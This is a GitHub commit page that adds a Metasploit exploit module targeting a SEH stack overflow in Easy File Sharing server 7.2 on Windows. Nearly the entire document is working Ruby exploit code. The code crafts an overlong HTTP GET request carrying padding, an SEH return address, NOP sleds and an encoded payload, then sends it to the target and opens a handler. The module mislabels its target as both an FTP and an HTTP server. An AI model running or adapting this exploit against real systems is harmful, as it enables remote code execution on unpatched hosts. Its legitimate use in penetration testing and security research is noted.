Skip to content

Commit d5bf82f

Browse files
committed
Land rapid7#6488, Add Easy File Sharing FTP Server 7.2 SEH BoF
2 parents 75ebd08 + f3336c7 commit d5bf82f

File tree

1 file changed

+70
-0
lines changed

1 file changed

+70
-0
lines changed
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
10+
Rank = NormalRanking
11+
12+
include Msf::Exploit::Remote::Tcp
13+
include Msf::Exploit::Seh
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow',
18+
'Description' => %q{
19+
This module exploits a SEH overflow in the Easy File Sharing FTP Server 7.2 software.
20+
},
21+
'Author' => 'Starwarsfan2099 <starwarsfan2099[at]gmail.com>',
22+
'License' => MSF_LICENSE,
23+
'References' =>
24+
[
25+
[ 'EDB', '39008' ],
26+
],
27+
'Privileged' => true,
28+
'DefaultOptions' =>
29+
{
30+
'EXITFUNC' => 'thread',
31+
},
32+
'Payload' =>
33+
{
34+
'Space' => 390,
35+
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
36+
'StackAdjustment' => -3500,
37+
},
38+
'Platform' => 'win',
39+
'Targets' =>
40+
[
41+
[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10019798 } ],
42+
],
43+
'DefaultOptions' => {
44+
'RPORT' => 80
45+
},
46+
'DisclosureDate' => 'Dec 2 2015',
47+
'DefaultTarget' => 0))
48+
end
49+
50+
def print_status(msg='')
51+
super("#{peer} - #{msg}")
52+
end
53+
54+
def exploit
55+
connect
56+
print_status("Sending exploit...")
57+
sploit = "GET "
58+
sploit << rand_text_alpha_upper(4061)
59+
sploit << generate_seh_record(target.ret)
60+
sploit << make_nops(19)
61+
sploit << payload.encoded
62+
sploit << make_nops(7)
63+
sploit << rand_text_alpha_upper(4500 - 4061 - 4 - 4 - 20 - payload.encoded.length - 20)
64+
sploit << " HTTP/1.0\r\n\r\n"
65+
sock.put(sploit)
66+
print_good("Exploit Sent")
67+
handler
68+
disconnect
69+
end
70+
end

0 commit comments

Comments
 (0)